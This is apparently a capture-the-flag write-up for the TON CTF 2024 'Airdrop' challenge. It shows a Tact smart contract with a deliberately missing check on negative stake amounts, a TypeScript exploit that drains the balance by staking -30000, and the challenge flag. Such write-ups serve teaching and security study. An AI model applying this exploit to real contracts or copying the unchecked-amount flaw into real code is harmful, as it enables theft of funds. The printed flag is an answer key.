跳转至
2024 | TON CTF

Airdrop

Description

Challenge Files

Airdrop.tact1
const CLAIM_AMOUNT: Int = 1;
const INIT_SUPPLY: Int = 30000;

message UserStake{
    amount: Int;
}

message UserWithdraw{
    amount: Int;
}

message StakeEvent{
    sender: Address;
    amount: Int;
}

contract AirDrop {

    total_balance: Int as uint256;
    user_info: map<Address, Int>;
    user_claim_info: map<Address, Bool>;

    init(version: Int) {
        self.user_info = emptyMap();
        self.total_balance = INIT_SUPPLY;
    }

    receive("AirDrop") {
        require(self.user_claim_info.get(sender()) == null, "Have claimed");
        let user_staked: Int = 0;
        if (self.user_info.get(sender()) != null) {
            user_staked = self.user_info.get(sender())!!;
        }
        self.total_balance = self.total_balance - CLAIM_AMOUNT;
        self.user_info.set(sender(), user_staked + CLAIM_AMOUNT);
        self.user_claim_info.set(sender(), true);
    }

    receive(msg: UserStake) {
        require(context().value > msg.amount, "Incorrect TON value");
        let user_staked: Int = 0;
        if (self.user_info.get(sender()) != null) {
            user_staked = self.user_info.get(sender())!!;
        }
        self.total_balance = self.total_balance + msg.amount;
        self.user_info.set(sender(), user_staked + msg.amount);
    }

    receive(msg: UserWithdraw) {
        require(self.user_info.get(sender()) != null && self.user_info.get(sender())!! != 0, "Nothing to withdraw");
        let user_staked: Int = 0;
        user_staked = self.user_info.get(sender())!!;
        require(msg.amount <= user_staked, "Insufficient balance");
        self.total_balance = self.total_balance - msg.amount;
        if (msg.amount == user_staked) {
            self.user_info.del(sender());
        } else {
            self.user_info.set(sender(), user_staked - msg.amount);
        }
    }

    get fun balance(): Int {
        return self.total_balance;
    }

    get fun is_solved(): Bool {
        return self.total_balance == 0;
    }
}

Solution

  • There is a state variable total_balance with value 30000 initially. The goal of this challenge is to make total_balance equal to zero
  • There are three operations:
    • AirDrop Each user can execute once and total_balance will be subtracted by 1.
    • UserStake Increase total_balance and user_staked with user-provided msg.amount.
    • UserWithdraw Decrease total_balance and user_staked with user-provided msg.amount. The msg.amount should not be greater than user_staked.
  • Since UserStake does not check msg.amount which is of type Int, we can provide a negative value to reduce total_balance

    1
    2
    3
    4
    5
    6
    7
    8
    9
    receive(msg: UserStake) {
        require(context().value > msg.amount, "Incorrect TON value");
        let user_staked: Int = 0;
        if (self.user_info.get(sender()) != null) {
            user_staked = self.user_info.get(sender())!!;
        }
        self.total_balance = self.total_balance + msg.amount;
        self.user_info.set(sender(), user_staked + msg.amount);
    }
    

Exploitation

Create a solve.ts under the sources/ and run yarn solve.

import { Address, toNano, TonClient, WalletContractV4 } from "@ton/ton";
import { mnemonicToPrivateKey } from "ton-crypto";
import { AirDrop } from "./output/Airdrop_AirDrop";
import * as dotenv from "dotenv";
dotenv.config();

(async () => {
    const client = new TonClient({
        endpoint: "http://65.21.223.95:8081/jsonRPC",
    });

    let mnemonics = (process.env.mnemonics_2 || "").toString();
    console.log(mnemonics);

    let keyPair = await mnemonicToPrivateKey(mnemonics.split(" "));
    let secretKey = keyPair.secretKey;
    let workchain = 0; // we are working in basechain.
    let deployer_wallet = WalletContractV4.create({ workchain, publicKey: keyPair.publicKey });
    console.log(deployer_wallet.address);

    let deployer_wallet_contract = client.open(deployer_wallet);

    let target = Address.parse(CONTRACT);

    let contract_open = await client.open(AirDrop.fromAddress(target));
    await contract_open.send(
        deployer_wallet_contract.sender(secretKey),
        {
            // deducting fees from it
            value: toNano("0.1"),
        },
        {
            "$$type": "UserStake",
            "amount": -30000n,
        }
    );
})();

Flag

flag{9uhaXCAoWxGi}_Airdrop

References


  1. The init function adds a version parameter to avoid instance contracts having the same address. 


最后更新: 2024年10月25日 19:51:53
Contributors: YanhuiJessica

评论